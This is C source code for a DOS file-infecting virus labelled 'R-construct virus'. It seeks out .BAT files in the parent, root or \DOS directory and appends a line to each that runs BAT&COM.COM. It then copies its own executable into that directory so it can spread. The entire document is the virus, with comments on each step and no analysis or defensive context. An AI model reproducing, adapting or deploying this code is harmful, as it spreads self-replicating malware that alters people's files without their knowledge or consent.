R-construct virus

#include 
#include 
#include 
#include 


struct ffblk ffblk;


main()


{


char old_dir[MAXPATH];


Get_Path(old_dir); /* Save the old directory */


Pick_A_Dir(); /* Find a new directory to */


Infect_Directory(); /* infect and infect it. */


chdir(old_dir); /* Return to old directory */


return 0;


}


Pick_A_Dir()


{


int done;


chdir(".."); /* First, Go out a DIR. */


done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */


/* root and DOS */


if (done)


{


chdir("\\");


done=findfirst("*.BAT",&ffblk,0);


if (done) chdir("\\DOS\\");


}


return 0;


}


Infect_Directory()


{


int done;


done = findfirst("*.BAT",&ffblk,0);


while (!done) /* Find all .BAT files */


{ /* and add code to run */


Do_Batch(); /* BAT&COM if not */


done = findnext(&ffblk); /* already there */


}


if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does */


{Copy_Virus();} /* not exist, then */


return 0; /* copy it into dir.*/


}


Do_Batch()


{


FILE *batch;


char Infection_Buffer[12];


char vpath[MAXPATH];


Get_Path(vpath); /* Get path for adding path */


/* specifier in commands */


if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */


batch=fopen(ffblk.ff_name, "rt+");


fseek(batch, -11, SEEK_END);


fread(Infection_Buffer,11,1,batch);


Infection_Buffer[11]=0; /* Terminate String */


if (strcmp(Infection_Buffer,"BAT&COM.COM")) /* Check if */


{ /* Batch is */


fseek(batch, 0, SEEK_END); /* infected.*/


fprintf(batch,"\n%s\\BAT&COM.COM",vpath);


} /*^- Add command */


/* to batch */


fclose(batch);


return 0;


}


Copy_Virus()


{


FILE *old_virus, *new_virus;


int write_length;


char copy_buffer[1024]; /* Copy the virus to */


/* new directory */


old_virus=fopen(_argv[0],"rb");


new_virus=fopen("BAT&COM.COM","wb");


write_length=1024;


while (write_length==1024)


{


write_length=fread(copy_buffer,1,1024,old_virus);


fwrite(copy_buffer,write_length,1,new_virus);


}


fclose(old_virus);


fclose(new_virus);


return 0;


}


Get_Path(char *path)


{


strcpy(path, "A:\\");


path[0] ='A' + getdisk(); /* Returns current path */


getcurdir(0, path+3);


return 0;


}